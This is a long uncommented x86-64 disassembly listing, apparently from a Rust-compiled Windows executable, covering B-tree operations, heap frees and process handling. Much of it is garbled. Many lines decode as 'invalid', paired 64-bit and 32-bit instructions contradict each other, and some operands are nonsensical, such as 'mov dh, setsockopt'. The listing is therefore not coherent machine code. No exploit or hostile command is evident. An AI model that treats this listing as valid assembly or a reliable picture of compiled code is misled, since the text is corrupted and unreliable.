mov qword [rdx + 0x160], rax
inc ecx
mov word [rdx + 0x3d0], cx
jmp 0x14015c4be
inc qword [r15 + 0x10]
mov byte [r12 + 0x18], 2
add rsp, 0x2e8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 8
mov edx, 0x438
call fcn.140186620
jmp 0x14015c65f
mov qword [rbp + 0x250], r14
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, str._rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_srccollections_btreemapentry.rs__n
mov edx, 0x2b
call fcn.140186b70
jmp 0x14015c65f
mov qword [rbp + 0x250], r14
lea rcx, [0x1401c0b53]
lea r8, [0x1401c0b88]
mov edx, 0x30
call fcn.140186b70
jmp 0x14015c65f
mov qword [rbp + 0x250], r14
lea rcx, str.assertion_failed:_idx___CAPACITY_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
lea r8, [0x1401c0ba0]
mov edx, 0x20
call fcn.140186b70
ud2
add byte [rax], al
add byte [rbp + 0x1c], dh
mov rax, qword [rbp + 0x248]
test dword [rax + 2], ecx
add byte [rax], al
test dword [rax + 2], ecx
add byte [rax], al
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140046050
lea rcx, [rbp + 0x38]
call fcn.14015d0d0
mov byte [rbp + 0x25f], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rbp, [rdx + 0x80]
cmp byte [rbp + 0x25f], 0
add al, byte [rax]
add byte [rax], al
je 0x14015c9f8
mov rax, qword [rbp + 0x248]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140046050
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov r14, r9
mov rbx, r8
mov qword [rbp - 8], rcx
clc
invalid
clc
mov r15d, dword [rbp + 0x80]
add byte [rbx + rcx*4 + 0x2d], cl
cmp eax, 0x48000327
lea ecx, [rdx + 0x168]
mov r13, qword [sym.imp.KERNEL32.dll_CompareStringOrdinal]
lea rcx, [rdx + 0x168]
mov qword [rbp + 8], rdx
movzx eax, word [rdx + 0x3d2]
mov qword [rbp - 0x10], rax
imul rdi, rax, 0x38
mov r12, 0xffffffffffffffff
nop dword [rax]
test rdi, rdi
je 0x14015cab0
push qword [rbx + rdi + 0x48]
lea esi, [rcx + 0x38]
lea rsi, [rcx + 0x38]
mov r8, qword [rcx]
mov r9d, dword [rcx + 0x10]
mov dword [rsp + 0x20], 1
and al, 0x20
add dword [rax], eax
add byte [rax], al
and al, 0x20
add dword [rax], eax
add byte [rax], al
mov rcx, r14
mov edx, r15d
call r13
add rdi, 0xffffffffffffffc8
invalid
enter 0xffffffffffffff49, 0xffffffffffffffc4
invalid
mov rcx, rsi
cmp eax, 3
je 0x14015ca70
cmp eax, 1
jne 0x14015cac8
sub rbx, 1
jae 0x14015caba
add dword [rbx + 0xf], esi
jmp 0x14015cafa
mov r12, qword [rbp - 0x10]
sub rbx, 1
jb 0x14015cafa
mov rdx, qword [rbp + 8]
mov rdx, qword [rdx + r12*8 + 0x3d8]
jmp 0x14015ca4b
cmp eax, 2
jne 0x14015cb03
xor eax, eax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp + 8]
or byte [rax - 0x77], cl
push rcx
or byte [rax - 0x77], cl
pop rcx
adc byte [rcx + rcx*4 + 0x61], cl
sbb byte [rax - 0x77], cl
invalid
or byte [rax - 0x77], cl
push rcx
or byte [rax - 0x77], cl
pop rcx
adc byte [rcx + rcx*4 + 0x61], cl
sbb byte [rax - 0x77], cl
add dword [rax - 0x7f], ecx
invalid
invalid
invalid
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov eax, 1
xor ebx, ebx
jmp 0x14015cacf
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp], rax
mov rax, rbp
mov qword [rbp - 0x20], rax
lea rax, [fcn.140150ba0]
mov qword [rbp - 0x18], rax
call 0x1021b5873
invalid
invalid
add byte [rax - 0x77], cl
mov r8b, 0x48
mov dword [rbp - 0x48], 1
add dword [rax], eax
add byte [rax], al
call 0x1021b5873
invalid
add dword [rax], eax
add byte [rax], al
mov qword [rbp - 0x30], 0
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindowsprocess.rs
lea rcx, [rbp - 0x50]
call fcn.1401869b0
add byte [rdi], cl
invalid
add byte [rdi], cl
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, rbp
call fcn.140040690
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or byte [rcx], al
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x80], 0xfffffffffffffffe
mov qword [rbp], r8
mov r14, rdx
mov rsi, rcx
mov r12, qword [rdx]
mov rbx, qword [rdx + 0x10]
movzx r13d, word [r12 + 0x3d2]
imul rax, rbx, 0x38
lea rcx, [r12 + rax]
add rcx, 0x168
mov rdx, qword [r12 + rax + 0x198]
mov qword [rbp + 0x50], rdx
movups xmm0, xmmword [r12 + rax + 0x168]
movups xmm1, xmmword [r12 + rax + 0x178]
movups xmm2, xmmword [r12 + rax + 0x188]
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x40], xmm2
movaps xmmword [rbp + 0x30], xmm1
movaps xmmword [rbp + 0x20], xmm0
lea rdi, [rbx + 1]
lea rdx, [r12 + rax]
add rdx, 0x1a0
mov r15, rbx
not r15
add r15, r13
imul r8, r15, 0x38
call sub.VCRUNTIME140.dll_memmove
add byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
loopne 0x14015cc5f
add byte [rax - 0x77], cl
fmul dword [rax - 0x3f]
loopne 0x14015cc5f
lea rcx, [r12 + rax]
movups xmm0, xmmword [r12 + rax]
invalid
movups xmm0, xmmword [rsp + rax]
add al, 0x41
movups xmm1, xmmword [rsp + rax + 0x10]
movups xmm1, xmmword [r12 + rax + 0x10]
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm1
mov rdx, rdi
shl rdx, 5
add rdx, r12
shl r15, 5
mov r8, r15
call sub.VCRUNTIME140.dll_memmove
lea ecx, [r13 - 1]
mov word [r12 + 0x3d2], cx
mov r13, qword [r14 + 8]
mov rax, qword [rbp + 0x70]
mov qword [rbp - 0x10], rax
movaps xmm0, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movaps xmm2, xmmword [rbp + 0x40]
movaps xmm3, xmmword [rbp + 0x50]
movaps xmmword [rbp - 0x30], xmm3
movaps xmmword [rbp - 0x40], xmm2
movaps xmmword [rbp - 0x50], xmm1
movaps xmmword [rbp - 0x60], xmm0
cmp cx, 5
jae 0x14015cf5c
mov rax, qword [r12 + 0x160]
test rax, rax
je 0x14015ce15
movzx r8d, word [r12 + 0x3d0]
lea rdx, [r13 + 1]
test r8, r8
je 0x14015cd50
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], r13
mov qword [rbp + 0x18], rbx
mov r12, qword [rbp + 8]
mov r13, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x18]
mov rax, qword [r12 + 0x160]
test rax, rax
je 0x14015cf5c
mov rax, qword [rbp - 0x10]
mov qword [rsi + 0x50], rax
movaps xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi + 0x40], xmm0
movaps xmm0, xmmword [rbp - 0x60]
movaps xmm1, xmmword [rbp - 0x50]
movaps xmm2, xmmword [rbp - 0x40]
movaps xmm3, xmmword [rbp - 0x30]
movups xmmword [rsi + 0x30], xmm3
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov qword [rsi + 0x58], r12
mov qword [rsi + 0x60], r13
mov qword [rsi + 0x68], rbx
add rsp, 0x108
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor r11d, r11d
test r9w, r9w
je 0x14015d88c
mov r9w, 1
test r11w, r11w
jne 0x14015d460
cmp rdx, r14
je 0x14015d53b
movzx edi, byte [rdx]
movzx r10d, dil
test r10b, r10b
js 0x14015d495
inc rdx
jmp case.0x14014eec8.306
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
in eax, 0x3f
in eax, 0x3f
cmp r10b, 0xdf
jbe 0x14015d4e9
invalid
movzx r10d, byte [rdx + 2]
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp dil, 0xf0
jb 0x14015d4f9
invalid
cmp ecx, dword [rdi]
mov dh, 0x7a
add ecx, dword [rax - 0x7d]
movzx edi, byte [rdx + 3]
add rdx, 4
ret 0x4104
and ebx, 7
shl r11d, 0x12
shl r10d, 6
and edi, 0x3f
or edi, r10d
or edi, r11d
or edi, ebx
ret 0x4104
or edi, ebx
mov r10d, edi
cmp r10d, 0xffff
cli
invalid
inc dword [rax]
add byte [rdi + 0x26], dh
cli
invalid
jmp case.0x14014eec8.306
add rdx, 2
shl r11d, 6
or r11d, ebp
mov r10d, r11d
mov edx, ebx
mov edx, ebx
jmp case.0x14014eec8.306
add rdx, 3
shl r11d, 0xc
jrcxz 0x14015d50d
add eax, dword [rcx - 0x3f]
jrcxz 0x14015d50d
or r10d, r11d
cmp r10d, 0xffff
jbe case.0x14014eec8.306
and r10d, 0x3ff
or r10d, 0xdc00
mov r11d, r10d
jmp 0x14015d463
xor r11d, r11d
mov r9d, r10d
jmp 0x14015d463
sub bh, bh
invalid
invalid
sub bh, bh
invalid
test r8b, r8b
je 0x14015d582
movzx eax, r8b
movzx eax, al
cmp eax, 2
jne 0x14015d550
invalid
invalid
xor ebp, ebp
xor r15d, r15d
jmp case.0x14014dbec.330
xor eax, eax
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
invalid
cmp rcx, rax
je case.0x14014f2f1.288
invalid
adc ecx, dword [rdi]
mov dh, setsockopt
add eax, dword [rbx + 0x147409fa]
movzx edx, byte [rbx + rax]
cmp edx, 9
je 0x14015d582
inc rax
cmp edx, 0x20
jne case.0x14014f054.294
jmp 0x14015d582
test rcx, rcx
je 0x14015d582
mov bpl, 1
jmp 0x14015d54b
mov rdx, qword [rsi + 0x10]
cmp rdx, qword [rsi + 8]
cmp edx, dword [rsi + 8]
jne 0x14015d598
mov rcx, rsi
call fcn.14014be80
invalid
dec dword [rax - 0x75]
push rsi
invalid
invalid
mov rax, qword [rsi]
mov word [rax + rdx*2], 0x22
invalid
add al, 0x50
and al, byte [rax]
mov dword [rax + rdx*2], 0xff480022
ret 0x8948
and al, byte [rax]
inc rdx
inc edx
mov qword [rsi + 0x10], rdx
mov bpl, 1
mov r15b, 1
xor r12d, r12d
movaps xmm6, xmmword [0x14018f950]
invalid
add byte [rcx], dh
invalid
xor edi, edi
jmp 0x14015d5d2
add byte [rax - 0x75], cl
invalid
ret 0x8948
in eax, dx
push rsi
adc byte [rax + 0x3b], cl
push rsi
or byte [rbp - 0x2e], dh
jne 0x14015d5c0
test cl, al
add dword [rax], eax
add byte [rdi], cl
mov dh, 0xb
test ch, ch
invalid
cmp ah, 0xdf
and esp, 0x3f
invalid
adc al, byte [rcx - 0x3f]
in al, 6
xchg byte [rcx - 1], ah
invalid
lea eax, [r12 - 1]
and eax, r12d
mov r12d, eax
dec rdi
je case.0x1400e7c73.1601
test r12w, r12w
jne 0x1401671f1
nop word [rax + rax]
movdqa xmm0, xmmword [r14]
pmovmskb r12d, xmm0
add rbx, 0xfffffffffffffe00
add r14, 0x10
cmp r12d, 0xffff
je 0x1401671d0
not r12d
tzcnt eax, r12d
shl rax, 5
mov rcx, rbx
sub rcx, rax
lea rax, [rcx - 0x18]
mov qword [rbp - 0x10], rax
mov qword [rbp - 0x18], rcx
mov rcx, qword [rcx - 8]
call r15
mov rcx, qword [rbp - 0x10]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x140167228
mov rcx, qword [rcx]
call fcn.140004d20
mov rcx, qword [rbp - 0x18]
mov rax, qword [rcx - 0x10]
lock dec qword [rax]
jne 0x1401671b0
mov rcx, qword [rcx - 0x10]
call fcn.140167100
jmp 0x1401671b0
mov rax, qword [rsi + 8]
mov rcx, rax
shl rcx, 5
add rax, rcx
cmp rax, 0xffffffffffffffcf
je 0x140167284
clc
iretd
mov r8, qword [rsi]
sub r8, rcx
add r8, 0xffffffffffffffe0
mov rcx, qword [0x14023c258]
or rax, 0x48d23100
add esp, 0x40
invalid
or rax, 0x48d23100
add esp, 0x40
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov rax, qword [r14 + 0x18]
mov qword [rbp - 0x28], rcx
fmul dword [rax - 0x77]
invalid
invalid
fmul dword [rax - 0x77]
loopne 0x140167337
call qword [rax]
adc byte [rax - 0x75], cl
loopne case.0x1400e7c73.1627
mov rax, qword [rbp - 0x20]
cmp qword [rax + 8], 0
or byte [rax], al
cmp dword [rax + 8], 0
or byte [rax], al
mov r14, qword [rbp - 0x18]
mov r8, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
je 0x140167366
cmp qword [rax + 0x10], 0x11
js 0x140167360
adc byte [rcx], dl
adc dword [rdx + 4], esi
jb 0x140167357
mov r8, qword [r8 - 8]
clc
clc
mov rcx, qword [0x14023c258]
xor edx, edx
or eax, 0xffd23100
add byte [rcx], dh
sar bh, cl
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x27cc2
jl 0x140167367
add al, byte [rax]
add byte [rcx - 0x39], cl
or byte [rax], r8b
invalid
mov qword [r14 + 8], 0
mov dword [rsi + 8], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x75], cl
test rdi, rdi
test rdi, rdi
mov rdi, qword [r14]
test rdi, rdi
test edi, edi
je 0x140167396
and bl, sil
lea rcx, [rdi + 0x10]
lea rcx, [rdi + 0x10]
mov edx, ebx
call fcn.14014c060
fmul qword [rsi + rdi*8 - 1]
lock dec qword [rdi]
dec dword [rdi]
cmovl ecx, dword [rbx + 0x875e875]
mov r14, qword [rbp - 0x18]
jne 0x140167396
invalid
or byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.140045b90
in eax, dx
dec dword [rax - 0x75]
invalid
mov rax, qword [rbp - 0x10]
cmp qword [rax], 0
cmp dword [rax], 0
cmp dword [rax], 0
cmp byte [rax], al
je 0x1401673ee
mov rcx, qword [r14 + 0x10]
test rcx, rcx
adc byte [rax - 0x7b], r9b
adc byte [rax - 0x7b], cl
leave
je 0x1401673ee
mov rax, qword [r14 + 0x18]
mov eax, dword [rsi + 0x18]
mov qword [rbp - 0x18], rcx
call 0x1305bfcfd
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
cmp qword [rax + 8], 0
or byte [rax], al
add byte [rbx + rcx*4 + 0x45], cl
call 0xc35e9c3c
invalid
invalid
js case.0x1400e7c73.1623
mov r8, qword [rbp - 0x18]
je 0x1401673ee
cmp qword [rax + 0x10], 0x11
jb 0x1401673d1
invalid
adc dword [rdx + 4], esi
add al, 0x4d
mov eax, dword [rax - 8]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
or eax, 0xd4e80
or byte [rsi + 0xd], 0
xor edx, edx
add rsp, 0x90
add esp, 0x90
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x90
add esp, 0x90
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov byte [rbp - 0x2c], 0
mov dword [rbp - 0x30], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x5d179
jns 0x1401673de
invalid
invalid
lea rax, str.fatal_runtime_error:_thread_result_panicked_on_drop_n
jns 0x1401673de
rol dword [0x1859fbc12], 1
add eax, 0x45894800
mov qword [rbp - 0x60], rax
movabs al, byte [0x1a845c748]
mov qword [rbp - 0x58], 1
add byte [rax], al
add byte [rax - 0x73], cl
clc
lea rax, [rbp - 8]
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], eax
mov r8b, recv
push rdi
ror byte [rdi], 0x11
invalid
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
adc dword [rbp - 0x48], eax
adc dword [rbp - 0x48], eax
mov r8d, 0xd04d8d48
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
call fcn.1401661d0
mov rcx, rax
call fcn.140149b10
invalid
invalid
invalid
mov ecx, 7
invalid
invalid
dec dword [rax - 0x77]
shr eax, 0xd1
invalid
invalid
add ch, cl
sub dword [rdi], ecx
or ecx, dword [rdi]
invalid
int 0x29
ud2
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
mov rcx, qword [rbp + 8]
mov ecx, dword [rbp + 8]
call fcn.14018cd90
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rdx
lea rax, case.0x1400e7c73.1610
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
and byte [rdi], cl
xchg esi, eax
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
dec esi
movabs al, byte [0x428b48a8054c8b48]
or dh, al
test dword [rdi + 1], esi
invalid
add byte [rax], al
add dword [rbp + rcx*4 + 5], ecx
invalid
add al, ch
out dx, eax
add dword [rax], eax
lea eax, [0x1401c47a8]
add eax, 0x20ba00
add byte [rax], al
mov bh, 1
add byte [rax], al
add dword [rbp + rcx*4 + 5], ecx
int3
mov bh, 1
add byte [rax], al
add byte [rax - 0x73], cl
lea ecx, str.assertion_failed:_self.curr___NUM_WAKERS
lea ecx, str.assertion_failed:_self.curr___NUM_WAKERS
sub dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add al, ch
retf 0x1ef
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
sub esp, 0x30
sub esp, 0x30
lea rbp, [rdx + 0x80]
movaps xmmword [rsp + 0x20], xmm6
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x20], esi
invalid
and byte [rax - 0x73], cl
movabs al, byte [0x74280f00000078e8]
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
invalid
lea rcx, [rbp - 0x60]
call fcn.140167c50
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
invalid
add byte [rax], al
add byte [rdi], cl
sub byte [rsp + 0x20], dh
invalid
and byte [rax - 0x7d], cl
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
and al, 0x20
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x20], esi
and al, 0x20
and al, 0x20
cmp byte [rbp + 0x1b7], 0
add byte [rax], al
je 0x140167c38
mov rcx, qword [rbp + 0x1a8]
test al, 1
add byte [rax], al
call fcn.14016f450
add byte [rax], al
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
movaps xmm6, xmmword [rsp + 0x20]
sub byte [rsp + 0x20], dh
add rsp, 0x30
add esp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
int3
int3
sub rsp, 0x40
lea rbp, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [rbp - 8], 0xfffffffffffffffe
mov rax, qword [rcx + 0x200]
add dword [rax], 0x48000002
mov dword [rbp - 0x20], eax
invalid
invalid
clc
invalid
invalid
dec dword [rax - 0x75]
add dword [rax], 0x48000002
mov dword [rbp - 0x20], eax
invalid
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
loopne 0x140167cb8
add rcx, 8
add ecx, 8
mov qword [rbp - 0x10], rcx
mov dword [rbp - 0x10], ecx
invalid
xor eax, eax
mov qword [rbp - 0x18], rax
invalid
invalid
ror byte [rax - 0x77], 0x45
call 0x188169b90
nop dword [rax]
invalid
call 0x188169b90
nop dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1205bb5d0
cmp qword [rbp - 0x20], rax
loopne 0x140167cfd
je 0x140167ca9
invalid
inc rax
inc eax
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp - 0x10]
mov edx, dword [rbp - 0x10]
call 0x1306c07dd
mov edx, dword [rbp - 0x10]
invalid
mov rax, qword [rdx - 8]
clc
mov rcx, qword [rdx]
mov ecx, dword [rdx]
add rdx, 0x10
ret 0x4810
mov qword [rbp - 0x10], rdx
call qword [rax + 0x18]
push rax
invalid
push rax
sbb bl, ch
invalid
jmp 0x140167c80
xlatb
add rsp, 0x40
pop rdi
pop rdi
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
and al, 0x10
push rbp
push rsi
push rdi
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
lea rbp, [rdx + 0x40]
lea rbp, [rdx + 0x40]
mov rdi, qword [rbp - 0x20]
mov rdi, qword [rbp - 0x20]
mov edi, dword [rbp - 0x20]
sub rdi, qword [rbp - 0x18]
jge 0x140167cc0
mov rsi, qword [rbp - 0x10]
jne case.0x14011ca61.1039
je 0x140167cf7
sbb dword [rax - 0x75], ecx
clc
clc
mov rax, qword [rsi - 8]
clc
mov rdx, qword [rsi]
mov rcx, qword [rax + 0x18]
call fcn.1400deae0
insd dword [rdi], dx
idiv edi
invalid
insd dword [rdi], dx
idiv edi
add rsi, 0x10
dec rdi
jne 0x140167cde
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
insb byte [rdi], dx
and al, 0x30
invalid
invalid
invalid
and eax, 0xffffffc0
mov ecx, dword [rax]
push rax
adc byte [rax - 0x75], cl
invalid
lea ecx, [rax + 0x18]
add byte [rax - 0x75], cl
invalid
or byte [r8 - 0x7b], cl
sal byte [rsp + rdx - 0x10], 0x48
lock dec qword [rax]
add ecx, 8
in eax, dx
add dword [rax], eax
invalid
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x18]
sbb al, ch
movsd dword [rdi], dword [rsi]
add byte [rax], al
invalid
nop
sbb al, ch
movsd dword [rdi], dword [rsi]
add byte [rax], al
add byte [rax + 0x20c48348], dl
add rsp, 0x20
add rsp, 0x20
pop rbp
ret
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x30
in al, dx
and byte [rax - 0x73], cl
push 0x30
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
add rcx, 8
call fcn.14006d710
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbp
ret
int3
int3
sub esp, 0x30
lea rbp, [rsp + 0x30]
mov qword [rbp - 8], 0xfffffffffffffffe
invalid
dec dword [rax - 0x77]
invalid
invalid
call case.0x1401207b8.1033
in eax, 0xfe
invalid
dec dword [rax - 0x75]
or eax, 0xd4436
or eax, 0x4cd23100
mov eax, dword [rbp - 0x10]
xor byte [rax - 0x39], cl
clc
invalid
invalid
in eax, 0xfe
invalid
or eax, 0x4cd23100
mov eax, dword [rbp - 0x10]
add rsp, 0x30
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
sub rsp, 0x20
in al, dx
and byte [rax - 0x73], cl
push 0x30
in al, dx
and byte [rax - 0x73], cl
push 0x30
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
call fcn.140029350
nop
add rsp, 0x20
call qword [rax + 0x20c48348]
pop rbp
ret
in al, dx
js 0x140167eaf
lea ebp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov rax, qword [0x14023c300]
add dword [rbp + rcx], 0x48
shl eax, 1
dec dword [rax - 0x77]
invalid
add dword [rbp + rcx], 0x48
shl eax, 1
test rax, rax
jne 0x140167f4c
add byte [rax], al
add byte [rax], al
mov rax, qword [rsi]
mov rax, qword [rax + 0x18]
sbb byte [rcx - 0x77], cl
ror dword [rcx - 0x3f], 0xe9
jmp 0x18d9fc2ba
cld
sbb byte [rcx - 0x77], cl
ror dword [rcx - 0x3f], 0xe9
jmp 0x18d9fc2ba
cld
jmp 0x18d9fc2ba
mov rdx, qword [rsi]
mov edx, dword [rsi]
cmp dword [rdx + 0x20], eax
je 0x140167f38
xchg ecx, eax
add byte [rax], al
invalid
xchg ecx, eax
add byte [rax], al
add byte [rcx - 0x48], cl
add byte [rax], al
add byte [rax], al
movabs r8, 0xffffffff00000000
mov rcx, rax
nop word cs:[rax + rax]
lea r10d, [rax + 1]
mov dword [rbp - 8], r10d
cmp r9d, eax
jne 0x140167ef0
invalid
lock dec qword [rdx]
jne 0x140167f62
mov rcx, rsi
add rsp, 0x78
pop rsi
pop rbp
jmp fcn.14006bf90
call fcn.14018d880
test al, al
jne 0x140167e89
mov rdx, qword [rsi]
lock dec qword [rdx]
je 0x140167f3e
add rsp, 0x78
pop rsi
pop rbp
ret
mov ebx, 0x31000000
leave
sub eax, ecx
cmovae eax, esi
add byte [rdi], cl
test byte [rdi + 7], ah
add byte [rax], al
invalid
add byte [rax - 1], cl
ror dword [rax + 0x39], 0xc8
inc ecx
in eax, dx
invalid
outsd dx, dword [rsi]
add eax, 0x26fd4
invalid
outsd dx, dword [rsi]
add al, byte [rax]
invalid
add byte [rax - 0x7f7f7f80], 0x80
and byte [rsi + 0x2e], 0xf
invalid
add byte [rax - 0x7f7f7f80], 0x66
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movq mm1, qword [rcx + rax]
jle 0x140168630
invalid
inc ecx
in eax, dx
jo case.0x14014db1d.373
mov eax, dword [rbp + 0x40]
mov dword [rbp + 0x80], esi
add byte [rax], al
mov edi, 0
add byte [rax], al
add dh, al
test dword [rsi + 0x1000000], edi
add byte [rax], al
add dword [rax - 0x73], ecx
jo 0x1401686a8
sub rdx, 0xffffffffffffffff
invalid
rol esi, 0x85
mov edi, 0
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test dword [rsi + 0x1000000], edi
add byte [rax], al
invalid
add byte [rax], al
add esi, eax
test dword [rbp + 0x1000000], edi
add byte [rax], al
invalid
add byte [rax], al
add eax, ebp
lahf
adc dh, bh
add byte [rcx], al
dec dword [rax - 0x77]
push 0xff48f0
inc dword [rax]
inc dword [rax]
add byte [rax - 0x77], cl
adc byte [r14 + 0xf], r12b
out dx, eax
sal bl, 0xf
jg 0x140168680
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
jo 0x140168705
invalid
add dword [rax], eax
add byte [rax], al
add eax, 0xd3bf2
leave
mov word [rsi], es
add byte [rax], al
sar bh, cl
adc eax, 0x268ef
add byte [rax], al
add bl, dh
movq mm2, qword [rbp + 0x90]
outsd dx, dword [rsi]
xchg ebp, eax
nop
add byte [rax], al
add byte [rax], al
add byte [rax], al
and bl, dh
movq qword [rax + 0x10], mm1
invalid
invalid
movq qword [rax], mm0
jg 0x140168775
inc qword [rax]
mov dword [rbp + 8], eax
